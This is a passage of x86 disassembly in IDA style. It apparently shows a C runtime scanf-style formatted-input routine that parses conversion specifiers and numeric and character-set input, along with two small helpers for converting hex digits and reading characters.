jz loc_420D7B
mov edi, [ebp+arg_0]
jmp short loc_4203A4
; ---------------------------------------------------------------------------
loc_42039F: ; CODE XREF: sub_420375+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_4203A4: ; CODE XREF: sub_420375+28j
cmp dword_44276C, 1
jle short loc_4203BC
movzx eax, al
push 8
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_4203CB
; ---------------------------------------------------------------------------
loc_4203BC: ; CODE XREF: sub_420375+36j
mov ecx, off_442560
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_4203CB: ; CODE XREF: sub_420375+45j
cmp eax, ebx
jz short loc_420405
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_420E02
pop ecx
pop ecx
push eax
call sub_420DEB
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DD40
add esp, 0Ch
loc_4203F3: ; CODE XREF: sub_420375+8Ej
test eax, eax
jz short loc_420405
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_41DD40
pop ecx
jmp short loc_4203F3
; ---------------------------------------------------------------------------
loc_420405: ; CODE XREF: sub_420375+58j
; sub_420375+80j
cmp byte ptr [esi], 25h
jnz loc_420CE7
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_42043C: ; CODE XREF: sub_420375+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_44276C, 1
jle short loc_420459
movzx eax, bl
push 4
push eax
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420468
; ---------------------------------------------------------------------------
loc_420459: ; CODE XREF: sub_420375+D3j
mov ecx, off_442560
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_420468: ; CODE XREF: sub_420375+E2j
test eax, eax
jz short loc_42047E
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_42047E: ; CODE XREF: sub_420375+F5j
cmp ebx, 4Eh
jg short loc_4204C1
jz short loc_4204E3
cmp ebx, 2Ah
jz short loc_4204BC
cmp ebx, 46h
jz short loc_4204E3
cmp ebx, 49h
jz short loc_42049E
cmp ebx, 4Ch
jnz short loc_4204D0
inc [ebp+var_D]
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_42049E: ; CODE XREF: sub_420375+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_4204D0
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_4204D0
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_4204BC: ; CODE XREF: sub_420375+113j
inc [ebp+var_E]
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_4204C1: ; CODE XREF: sub_420375+10Cj
cmp ebx, 68h
jz short loc_4204DD
cmp ebx, 6Ch
jz short loc_4204D5
cmp ebx, 77h
jz short loc_4204D8
loc_4204D0: ; CODE XREF: sub_420375+122j
; sub_420375+12Dj ...
inc [ebp+var_F]
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_4204D5: ; CODE XREF: sub_420375+154j
inc [ebp+var_D]
loc_4204D8: ; CODE XREF: sub_420375+159j
inc [ebp+var_5]
jmp short loc_4204E3
; ---------------------------------------------------------------------------
loc_4204DD: ; CODE XREF: sub_420375+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_4204E3: ; CODE XREF: sub_420375+107j
; sub_420375+10Ej ...
cmp [ebp+var_F], 0
jz loc_42043C
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_420508
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_420508: ; CODE XREF: sub_420375+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_420526
mov al, [esi]
cmp al, 53h
jz short loc_420522
cmp al, 43h
jz short loc_420522
or [ebp+var_5], 0FFh
jmp short loc_420526
; ---------------------------------------------------------------------------
loc_420522: ; CODE XREF: sub_420375+1A1j
; sub_420375+1A5j
mov [ebp+var_5], 1
loc_420526: ; CODE XREF: sub_420375+19Bj
; sub_420375+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_42055F
cmp esi, 63h
jz short loc_420550
cmp esi, 7Bh
jz short loc_420550
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_420E02
pop ecx
jmp short loc_42055B
; ---------------------------------------------------------------------------
loc_420550: ; CODE XREF: sub_420375+1C5j
; sub_420375+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
loc_42055B: ; CODE XREF: sub_420375+1D9j
pop ecx
mov [ebp+var_14], eax
loc_42055F: ; CODE XREF: sub_420375+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_42056F
cmp [ebp+var_C], eax
jz loc_420D4B
loc_42056F: ; CODE XREF: sub_420375+1EFj
cmp esi, 6Fh
jg loc_4207D6
jz loc_420A88
cmp esi, 63h
jz loc_4207B3
cmp esi, 64h
jz loc_420A88
jle loc_420800
cmp esi, 67h
jle short loc_4205D3
cmp esi, 69h
jz short loc_4205BB
cmp esi, 6Eh
jnz loc_420800
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_420CB6
jmp loc_420CDC
; ---------------------------------------------------------------------------
loc_4205BB: ; CODE XREF: sub_420375+229j
push 64h
pop esi
loc_4205BE: ; CODE XREF: sub_420375+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_420848
mov [ebp+var_17], 1
jmp loc_42084D
; ---------------------------------------------------------------------------
loc_4205D3: ; CODE XREF: sub_420375+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_4205EF
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_4205F4
; ---------------------------------------------------------------------------
loc_4205EF: ; CODE XREF: sub_420375+26Aj
cmp ebx, 2Bh
jnz short loc_42060B
loc_4205F4: ; CODE XREF: sub_420375+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42060E
; ---------------------------------------------------------------------------
loc_42060B: ; CODE XREF: sub_420375+27Dj
mov edi, [ebp+arg_0]
loc_42060E: ; CODE XREF: sub_420375+294j
cmp [ebp+var_20], 0
jz short loc_42061D
cmp [ebp+var_C], 15Dh
jle short loc_420624
loc_42061D: ; CODE XREF: sub_420375+29Dj
mov [ebp+var_C], 15Dh
loc_420624: ; CODE XREF: sub_420375+2A6j
; sub_420375+2F2j
cmp dword_44276C, 1
jle short loc_420639
push 4
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420644
; ---------------------------------------------------------------------------
loc_420639: ; CODE XREF: sub_420375+2B6j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 4
loc_420644: ; CODE XREF: sub_420375+2C2j
test eax, eax
jz short loc_420669
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_420669
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420624
; ---------------------------------------------------------------------------
loc_420669: ; CODE XREF: sub_420375+2D1j
; sub_420375+2DBj
cmp byte_442770, bl
jnz short loc_4206D7
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4206D7
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
mov al, byte_442770
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_420692: ; CODE XREF: sub_420375+360j
cmp dword_44276C, 1
jle short loc_4206A7
push 4
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_4206B2
; ---------------------------------------------------------------------------
loc_4206A7: ; CODE XREF: sub_420375+324j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 4
loc_4206B2: ; CODE XREF: sub_420375+330j
test eax, eax
jz short loc_4206D7
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4206D7
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420692
; ---------------------------------------------------------------------------
loc_4206D7: ; CODE XREF: sub_420375+2FAj
; sub_420375+304j ...
cmp [ebp+var_1C], 0
jz loc_42076F
cmp ebx, 65h
jz short loc_4206EF
cmp ebx, 45h
jnz loc_42076F
loc_4206EF: ; CODE XREF: sub_420375+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42076F
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_420716
mov [esi], al
inc esi
jmp short loc_42071B
; ---------------------------------------------------------------------------
loc_420716: ; CODE XREF: sub_420375+39Aj
cmp ebx, 2Bh
jnz short loc_420739
loc_42071B: ; CODE XREF: sub_420375+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_42072A
and [ebp+var_C], eax
jmp short loc_420739
; ---------------------------------------------------------------------------
loc_42072A: ; CODE XREF: sub_420375+3AEj
; sub_420375+3F8j
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420739: ; CODE XREF: sub_420375+3A4j
; sub_420375+3B3j
cmp dword_44276C, 1
jle short loc_42074E
push 4
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420759
; ---------------------------------------------------------------------------
loc_42074E: ; CODE XREF: sub_420375+3CBj
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 4
loc_420759: ; CODE XREF: sub_420375+3D7j
test eax, eax
jz short loc_42076F
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_42076F
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_42072A
; ---------------------------------------------------------------------------
loc_42076F: ; CODE XREF: sub_420375+366j
; sub_420375+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_420DEB
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_420D7B
cmp [ebp+var_E], 0
jnz loc_420CDC
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_442B10
add esp, 0Ch
jmp loc_420CDC
; ---------------------------------------------------------------------------
loc_4207B3: ; CODE XREF: sub_420375+20Cj
cmp [ebp+var_20], eax
jnz short loc_4207C2
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4207C2: ; CODE XREF: sub_420375+441j
cmp [ebp+var_5], 0
jle short loc_4207CC
mov [ebp+var_16], 1
loc_4207CC: ; CODE XREF: sub_420375+451j
mov edi, offset dword_4429E8
jmp loc_4208E1
; ---------------------------------------------------------------------------
loc_4207D6: ; CODE XREF: sub_420375+1FDj
mov eax, esi
sub eax, 70h
jz loc_420A84
sub eax, 3
jz loc_4208D2
dec eax
dec eax
jz loc_420A88
sub eax, 3
jz loc_4205BE
sub eax, 3
jz short loc_420824
loc_420800: ; CODE XREF: sub_420375+21Bj
; sub_420375+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_420D4B
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_420CDC
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_420CDC
; ---------------------------------------------------------------------------
loc_420824: ; CODE XREF: sub_420375+489j
cmp [ebp+var_5], 0
jle short loc_42082E
mov [ebp+var_16], 1
loc_42082E: ; CODE XREF: sub_420375+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_4208E5
mov eax, edi
lea edi, [eax+1]
jmp loc_4208E1
; ---------------------------------------------------------------------------
loc_420848: ; CODE XREF: sub_420375+24Fj
cmp ebx, 2Bh
jnz short loc_42086F
loc_42084D: ; CODE XREF: sub_420375+259j
dec [ebp+var_C]
jnz short loc_42085E
cmp [ebp+var_20], 0
jz short loc_42085E
mov [ebp+var_F], 1
jmp short loc_42086F
; ---------------------------------------------------------------------------
loc_42085E: ; CODE XREF: sub_420375+4DBj
; sub_420375+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_42086F: ; CODE XREF: sub_420375+4D6j
; sub_420375+4E7j
cmp ebx, 30h
jnz loc_420ABD
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4208BD
cmp bl, 58h
jz short loc_4208BD
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4208A7
push 6Fh
loc_4208A1: ; CODE XREF: sub_420375+55Bj
pop esi
jmp loc_420ABD
; ---------------------------------------------------------------------------
loc_4208A7: ; CODE XREF: sub_420375+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420DEB
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_420ABA
; ---------------------------------------------------------------------------
loc_4208BD: ; CODE XREF: sub_420375+517j
; sub_420375+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4208A1
; ---------------------------------------------------------------------------
loc_4208D2: ; CODE XREF: sub_420375+46Fj
cmp [ebp+var_5], 0
jle short loc_4208DC
mov [ebp+var_16], 1
loc_4208DC: ; CODE XREF: sub_420375+561j
mov edi, offset dword_4429E0
loc_4208E1: ; CODE XREF: sub_420375+45Cj
; sub_420375+4CEj
or [ebp+var_18], 0FFh
loc_4208E5: ; CODE XREF: sub_420375+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BC40
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_420909
cmp byte ptr [edi], 5Dh
jnz short loc_420909
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_42090C
; ---------------------------------------------------------------------------
loc_420909: ; CODE XREF: sub_420375+584j
; sub_420375+589j
mov dl, [ebp+var_35]
loc_42090C: ; CODE XREF: sub_420375+592j
; sub_420375+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_420971
inc edi
cmp al, 2Dh
jnz short loc_420958
test dl, dl
jz short loc_420958
mov cl, [edi]
cmp cl, 5Dh
jz short loc_420958
inc edi
cmp dl, cl
jnb short loc_42092B
mov al, cl
jmp short loc_42092F
; ---------------------------------------------------------------------------
loc_42092B: ; CODE XREF: sub_420375+5B0j
mov al, dl
mov dl, cl
loc_42092F: ; CODE XREF: sub_420375+5B4j
cmp dl, al
ja short loc_420954
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_42093C: ; CODE XREF: sub_420375+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_42093C
loc_420954: ; CODE XREF: sub_420375+5BCj
xor dl, dl
jmp short loc_42090C
; ---------------------------------------------------------------------------
loc_420958: ; CODE XREF: sub_420375+5A0j
; sub_420375+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_42090C
; ---------------------------------------------------------------------------
loc_420971: ; CODE XREF: sub_420375+59Bj
cmp byte ptr [edi], 0
jz loc_420D7B
cmp [ebp+var_3C], 7Bh
jnz short loc_420983
mov [ebp+arg_4], edi
loc_420983: ; CODE XREF: sub_420375+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_420DEB
pop ecx
pop ecx
loc_42099A: ; CODE XREF: sub_420375+6BCj
; sub_420375+6C4j
cmp [ebp+var_20], 0
jz short loc_4209AE
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_420A4A
loc_4209AE: ; CODE XREF: sub_420375+629j
inc [ebp+var_4]
push edi
call sub_420DD1
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_420A3E
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_420A3E
cmp [ebp+var_E], 0
jnz short loc_420A36
cmp [ebp+var_16], 0
jz short loc_420A2B
mov ecx, off_442560
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420A0A
inc [ebp+var_4]
push edi
call sub_420DD1
pop ecx
mov [ebp+var_37], al
loc_420A0A: ; CODE XREF: sub_420375+686j
push dword_44276C
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_423D26
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_420A2E
; ---------------------------------------------------------------------------
loc_420A2B: ; CODE XREF: sub_420375+673j
mov [esi], al
inc esi
loc_420A2E: ; CODE XREF: sub_420375+6B4j
mov [ebp+var_2C], esi
jmp loc_42099A
; ---------------------------------------------------------------------------
loc_420A36: ; CODE XREF: sub_420375+66Dj
inc [ebp+var_30]
jmp loc_42099A
; ---------------------------------------------------------------------------
loc_420A3E: ; CODE XREF: sub_420375+649j
; sub_420375+667j
dec [ebp+var_4]
push edi
push eax
call sub_420DEB
pop ecx
pop ecx
loc_420A4A: ; CODE XREF: sub_420375+633j
cmp [ebp+var_30], esi
jz loc_420D7B
cmp [ebp+var_E], 0
jnz loc_420CDC
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_420CDC
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_420A7C
and word ptr [eax], 0
jmp loc_420CDC
; ---------------------------------------------------------------------------
loc_420A7C: ; CODE XREF: sub_420375+6FCj
and byte ptr [eax], 0
jmp loc_420CDC
; ---------------------------------------------------------------------------
loc_420A84: ; CODE XREF: sub_420375+466j
mov [ebp+var_D], 1
loc_420A88: ; CODE XREF: sub_420375+203j
; sub_420375+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_420A96
mov [ebp+var_17], 1
jmp short loc_420A9B
; ---------------------------------------------------------------------------
loc_420A96: ; CODE XREF: sub_420375+719j
cmp ebx, 2Bh
jnz short loc_420ABD
loc_420A9B: ; CODE XREF: sub_420375+71Fj
dec [ebp+var_C]
jnz short loc_420AAC
cmp [ebp+var_20], 0
jz short loc_420AAC
mov [ebp+var_F], 1
jmp short loc_420ABD
; ---------------------------------------------------------------------------
loc_420AAC: ; CODE XREF: sub_420375+729j
; sub_420375+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
pop ecx
mov ebx, eax
loc_420ABA: ; CODE XREF: sub_420375+543j
mov [ebp+var_14], ebx
loc_420ABD: ; CODE XREF: sub_420375+4FDj
; sub_420375+52Dj ...
cmp [ebp+var_30], 0
jz loc_420BD6
cmp [ebp+var_F], 0
jnz loc_420BB4
loc_420AD1: ; CODE XREF: sub_420375+82Cj
cmp esi, 78h
jnz short loc_420B25
cmp dword_44276C, 1
jle short loc_420AEE
push 80h
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420AFB
; ---------------------------------------------------------------------------
loc_420AEE: ; CODE XREF: sub_420375+768j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 80h
loc_420AFB: ; CODE XREF: sub_420375+777j
test eax, eax
jz loc_420BA6
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_423DF0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_420D9A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_420B78
; ---------------------------------------------------------------------------
loc_420B25: ; CODE XREF: sub_420375+75Fj
cmp dword_44276C, 1
jle short loc_420B3A
push 4
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420B45
; ---------------------------------------------------------------------------
loc_420B3A: ; CODE XREF: sub_420375+7B7j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 4
loc_420B45: ; CODE XREF: sub_420375+7C3j
test eax, eax
jz short loc_420BA6
cmp esi, 6Fh
jnz short loc_420B63
cmp ebx, 38h
jge short loc_420BA6
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_423DF0
jmp short loc_420B72
; ---------------------------------------------------------------------------
loc_420B63: ; CODE XREF: sub_420375+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41D950
loc_420B72: ; CODE XREF: sub_420375+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_420B78: ; CODE XREF: sub_420375+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_420B90
dec [ebp+var_C]
jz short loc_420BB4
loc_420B90: ; CODE XREF: sub_420375+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420AD1
; ---------------------------------------------------------------------------
loc_420BA6: ; CODE XREF: sub_420375+788j
; sub_420375+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420DEB
pop ecx
pop ecx
loc_420BB4: ; CODE XREF: sub_420375+756j
; sub_420375+819j
cmp [ebp+var_17], 0
jz loc_420C9A
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_420C9A
; ---------------------------------------------------------------------------
loc_420BD6: ; CODE XREF: sub_420375+74Cj
cmp [ebp+var_F], 0
jnz loc_420C92
loc_420BE0: ; CODE XREF: sub_420375+90Aj
cmp esi, 78h
jz short loc_420C24
cmp esi, 70h
jz short loc_420C24
cmp dword_44276C, 1
jle short loc_420BFF
push 4
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420C0A
; ---------------------------------------------------------------------------
loc_420BFF: ; CODE XREF: sub_420375+87Cj
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 4
loc_420C0A: ; CODE XREF: sub_420375+888j
test eax, eax
jz short loc_420C84
cmp esi, 6Fh
jnz short loc_420C1D
cmp ebx, 38h
jge short loc_420C84
shl edi, 3
jmp short loc_420C5C
; ---------------------------------------------------------------------------
loc_420C1D: ; CODE XREF: sub_420375+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_420C5C
; ---------------------------------------------------------------------------
loc_420C24: ; CODE XREF: sub_420375+86Ej
; sub_420375+873j
cmp dword_44276C, 1
jle short loc_420C3C
push 80h
push ebx
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420C49
; ---------------------------------------------------------------------------
loc_420C3C: ; CODE XREF: sub_420375+8B6j
mov eax, off_442560
mov al, [eax+ebx*2]
and eax, 80h
loc_420C49: ; CODE XREF: sub_420375+8C5j
test eax, eax
jz short loc_420C84
push ebx
shl edi, 4
call sub_420D9A
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_420C5C: ; CODE XREF: sub_420375+8A6j
; sub_420375+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_420C6E
dec [ebp+var_C]
jz short loc_420C92
loc_420C6E: ; CODE XREF: sub_420375+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_420DD1
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_420BE0
; ---------------------------------------------------------------------------
loc_420C84: ; CODE XREF: sub_420375+897j
; sub_420375+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_420DEB
pop ecx
pop ecx
loc_420C92: ; CODE XREF: sub_420375+865j
; sub_420375+8F7j
cmp [ebp+var_17], 0
jz short loc_420C9A
neg edi
loc_420C9A: ; CODE XREF: sub_420375+843j
; sub_420375+85Cj ...
cmp esi, 46h
jnz short loc_420CA3
and [ebp+var_1C], 0
loc_420CA3: ; CODE XREF: sub_420375+928j
cmp [ebp+var_1C], 0
jz loc_420D7B
cmp [ebp+var_E], 0
jnz short loc_420CDC
inc [ebp+var_34]
loc_420CB6: ; CODE XREF: sub_420375+23Bj
cmp [ebp+var_30], 0
jz short loc_420CCC
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_420CDC
; ---------------------------------------------------------------------------
loc_420CCC: ; CODE XREF: sub_420375+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_420CD9
mov [eax], edi
jmp short loc_420CDC
; ---------------------------------------------------------------------------
loc_420CD9: ; CODE XREF: sub_420375+95Ej
mov [eax], di
loc_420CDC: ; CODE XREF: sub_420375+241j
; sub_420375+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_420D29
; ---------------------------------------------------------------------------
loc_420CE7: ; CODE XREF: sub_420375+93j
inc [ebp+var_4]
push edi
call sub_420DD1
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_420D56
mov ecx, off_442560
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_420D29
inc [ebp+var_4]
push edi
call sub_420DD1
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_420D64
dec [ebp+var_4]
loc_420D29: ; CODE XREF: sub_420375+970j
; sub_420375+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420D3F
cmp byte ptr [esi], 25h
jnz short loc_420D81
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_420D81
mov esi, eax
loc_420D3F: ; CODE XREF: sub_420375+9B8j
mov al, [esi]
test al, al
jnz loc_42039F
jmp short loc_420D7B
; ---------------------------------------------------------------------------
loc_420D4B: ; CODE XREF: sub_420375+1F4j
; sub_420375+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_420D5B
; ---------------------------------------------------------------------------
loc_420D56: ; CODE XREF: sub_420375+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_420D5B: ; CODE XREF: sub_420375+9DFj
call sub_420DEB
pop ecx
pop ecx
jmp short loc_420D7B
; ---------------------------------------------------------------------------
loc_420D64: ; CODE XREF: sub_420375+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_420DEB
dec [ebp+var_4]
push edi
push ebx
call sub_420DEB
add esp, 10h
loc_420D7B: ; CODE XREF: sub_420375+1Fj
; sub_420375+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_420D92
loc_420D81: ; CODE XREF: sub_420375+9BDj
; sub_420375+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_420D95
cmp [ebp+var_15], al
jnz short loc_420D95
or eax, 0FFFFFFFFh
jmp short loc_420D95
; ---------------------------------------------------------------------------
loc_420D92: ; CODE XREF: sub_420375+A0Aj
mov eax, [ebp+var_34]
loc_420D95: ; CODE XREF: sub_420375+A11j
; sub_420375+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420375 endp
; =============== S U B R O U T I N E =======================================
sub_420D9A proc near ; CODE XREF: sub_420375+7A3p
; sub_420375+8DCp
arg_0 = dword ptr 4
cmp dword_44276C, 1
push esi
jle short loc_420DB4
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41F37A
pop ecx
pop ecx
jmp short loc_420DC3
; ---------------------------------------------------------------------------
loc_420DB4: ; CODE XREF: sub_420D9A+8j
mov esi, [esp+4+arg_0]
mov eax, off_442560
mov al, [eax+esi*2]
and eax, 4
loc_420DC3: ; CODE XREF: sub_420D9A+18j
test eax, eax
jnz short loc_420DCD
and esi, 0FFFFFFDFh
sub esi, 7
loc_420DCD: ; CODE XREF: sub_420D9A+2Bj
mov eax, esi
pop esi
retn
sub_420D9A endp
; =============== S U B R O U T I N E =======================================
sub_420DD1 proc near ; CODE XREF: sub_420375+1E1p
; sub_420375+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_420DE3
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_420DE3: ; CODE XREF: sub_420DD1+7j
push edx
call sub_41EEA8
pop ecx
retn
sub_420DD1 endp
; =============== S U B R O U T I N E =======================================
